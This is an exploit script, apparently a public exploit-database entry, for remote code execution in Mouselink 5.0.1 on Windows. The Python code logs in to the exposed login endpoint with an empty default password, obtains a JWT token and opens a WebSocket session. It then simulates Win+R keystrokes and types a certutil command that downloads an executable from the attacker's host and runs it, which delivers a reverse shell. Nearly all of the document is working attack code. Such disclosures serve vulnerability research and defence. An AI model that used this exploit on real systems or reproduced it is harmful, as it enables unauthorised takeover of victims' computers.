# Exploit Title: Mouselink 5.0.1 - Remote Code Execution # Date: 25/06/25 # Exploit Author: Chokri Hammedi # Vendor Homepage: https://mouselink.app/ # Software Link: https://blob.mouselink.app/mouselink-win-Setup.exe # Version: 5.0.1 # Tested on: Windows 10 ''' Description: Mouselink 5.0.1 allows unauthenticated remote attackers to execute arbitrary commands by abusing an exposed login endpoint and insecure WebSocket-based keyboard simulation. With no password per default, an attacker can obtain a JWT token, open a WebSocket session, and simulate keystrokes to run code on the target. and reverse shell delivery. ''' #!/usr/bin/env python3 import requests import json import base64 import secrets import socket import time import struct from urllib.parse import quote SERVER_IP = "192.168.8.105" SERVER_PORT = 11521 BASE_URL = f"http://{SERVER_IP}:{SERVER_PORT}" lhost = "192.168.8.100" payload = "shell.exe" def get_device_info(): try: requests.get(f"{BASE_URL}/api/device/info", params={"ip": "b088f72a.mouselink.local."}, headers={"User-Agent": "Dart/3.5 (dart:io)", "Accept-Encoding": "gzip", "Host": "b088f72a.mouselink.local.:11521"}, timeout=2) except: pass try: requests.get(f"{BASE_URL}/api/device/info", params={"ip": SERVER_IP}, headers={"User-Agent": "Dart/3.5 (dart:io)", "Accept-Encoding": "gzip", "Host": f"{SERVER_IP}:{SERVER_PORT}"}, timeout=2) except: pass def login_and_get_token(): print("[*] Logging in to get JWT token...") response = requests.get( f"{BASE_URL}/api/login", params={"username": "blue0x1", "password": ""}, headers={ "User-Agent": "Dart/3.5 (dart:io)", "Accept-Encoding": "gzip", "Host": f"{SERVER_IP}:{SERVER_PORT}" }, timeout=5 ) if response.status_code != 200: print(f"[-] Login failed with status: {response.status_code}") return None data = response.json() if not data.get("success"): print("[-] Login failed: Invalid credentials") return None token = data["data"]["key"] print(f"[+] Obtained JWT token: {token[:50]}...") return token def negotiate_websocket(token): if not token: return None print("[*] Negotiating WebSocket connection...") response = requests.post( f"{BASE_URL}/mainhub/negotiate", params={"access_token": token, "negotiateVersion": "1"}, headers={ "User-Agent": "Dart/3.5 (dart:io)", "Content-Type": "text/plain;charset=UTF-8", "X-Requested-With": "FlutterHttpClient", "Accept-Encoding": "gzip", "Host": f"{SERVER_IP}:{SERVER_PORT}" }, timeout=5 ) if response.status_code != 200: print(f"[-] Negotiation failed with status: {response.status_code}") return None return response.json()["connectionToken"] def create_websocket_frame(payload): payload_bytes = payload.encode('utf-8') payload_len = len(payload_bytes) header = bytearray([0b10000001]) if payload_len < 126: header.append(0b10000000 | payload_len) elif payload_len < 65536: header.append(0b10000000 | 126) header.extend(struct.pack('>H', payload_len)) else: header.append(0b10000000 | 127) header.extend(struct.pack('>Q', payload_len)) mask_key = secrets.token_bytes(4) header.extend(mask_key) masked_payload = bytearray(payload_bytes) for i in range(payload_len): masked_payload[i] ^= mask_key[i % 4] return header + masked_payload def raw_websocket_handshake(token, connection_token): if not token or not connection_token: return None print("[*] Establishing WebSocket connection...") sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((SERVER_IP, SERVER_PORT)) key = base64.b64encode(secrets.token_bytes(16)).decode() request = f"GET /mainhub?access_token={quote(token)}&id={connection_token} HTTP/1.1\r\nHost: {SERVER_IP}:{SERVER_PORT}\r\nUser-Agent: Dart/3.5 (dart:io)\r\nConnection: Upgrade\r\nCache-Control: no-cache\r\nAccept-Encoding: gzip\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Key: {key}\r\nSec-WebSocket-Extensions: permessage-deflate; client_max_window_bits\r\nUpgrade: websocket\r\n\r\n" sock.send(request.encode()) response = b"" while b"\r\n\r\n" not in response: response += sock.recv(1024) if b"HTTP/1.1 101 Switching Protocols" not in response: print("[-] WebSocket upgrade failed") sock.close() return None print("[+] WebSocket connection established") return sock def send_websocket_messages(sock): if not sock: return print("[*] Sending protocol handshake...") sock.send(create_websocket_frame('{"protocol":"json","version":1}\x1e')) time.sleep(0.5) print("[*] Sending Win+R shortcut...") win_r = json.dumps({"type":1,"headers":{},"invocationId":"1","target":"KeyboardShortcut","arguments":[[91,82]],"streamIds":[]}) + '\x1e' sock.send(create_websocket_frame(win_r)) time.sleep(1) cmd = f"cmd /c certutil -urlcache -split -f http://{lhost}/{payload} C:\\Windows\\Temp\\payload.exe & C:\\Windows\\Temp\\payload.exe" print(f"[*] Sending payload command: {cmd[:50]}...") cmd_input = json.dumps({"type":1,"headers":{},"invocationId":"0","target":"KeyboardTextInput","arguments":[cmd],"streamIds":[]}) + '\x1e' sock.send(create_websocket_frame(cmd_input)) time.sleep(1) print("[*] Sending Enter key...") enter_key = json.dumps({"type":1,"headers":{},"invocationId":"2","target":"KeyboardClick","arguments":[0,13],"streamIds":[]}) + '\x1e' sock.send(create_websocket_frame(enter_key)) time.sleep(0.5) sock.close() print("[+] Commands sent successfully!") if __name__ == "__main__": print("[*] Starting Attack...") get_device_info() jwt_token = login_and_get_token() if not jwt_token: print("[-] Attack aborted: Failed to obtain JWT token") exit(1) connection_token = negotiate_websocket(jwt_token) if not connection_token: print("[-] Attack aborted: Failed to obtain connection token") exit(1) sock = raw_websocket_handshake(jwt_token, connection_token) if not sock: print("[-] Attack aborted: WebSocket connection failed") exit(1) send_websocket_messages(sock) print("[+] Attack completed! Check your listener for connection")